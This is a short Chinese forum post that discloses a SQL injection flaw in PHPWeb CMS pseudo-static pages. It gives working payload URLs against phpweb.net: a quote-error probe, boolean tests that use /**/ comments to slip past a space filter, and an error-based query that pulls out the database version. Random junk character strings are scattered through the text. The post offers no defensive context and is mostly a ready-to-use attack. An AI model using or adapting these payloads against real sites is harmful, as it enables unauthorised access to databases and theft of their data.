phpweb所有的整站程序伪静态页面都存在sql注入' T- @7 h) H1 q8 J; ?
. b5 b8 `4 O; S( _! |主站：http://phpweb.net/# c) @$ [5 U: D
加’检测：
8 e/ v0 X& `- M$ X
' C9 v+ U* x! a+ n( dhttp://www.phpweb.net/down/html/?772′.html8 W: t3 W' G$ a6 o
1 p7 G( a' y2 } ^% C
出错/ l) c( @5 A8 \* E* F. C8 H+ s% C, H
存在注入。
- [3 |: q2 c9 b不能用空格，只能用/*罗( ~) ?3 z" B, u5 H
http://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常
0 K/ i% Y! K! D7 P1 G 2 J- M* j0 o: _) |# i# ^- {
http://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.% c% `: O* v" Y1 a) X& K
爆数据库版本：
* m5 Q7 J5 k; I/ V1 f+ ^) s) ^8 C+ f
! g0 T& o3 C6 S# e?
6 I: t' L0 i1 @$ ]$ c! i" n# O14 L! G% E" e, C
http://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
7 m# R; e D4 Q' j& b更新日期: 2013-01-03 13:39:50 6 R7 X' P" L* Y
|
发表于 2013-1-4 19:46:42
收藏
支持
反对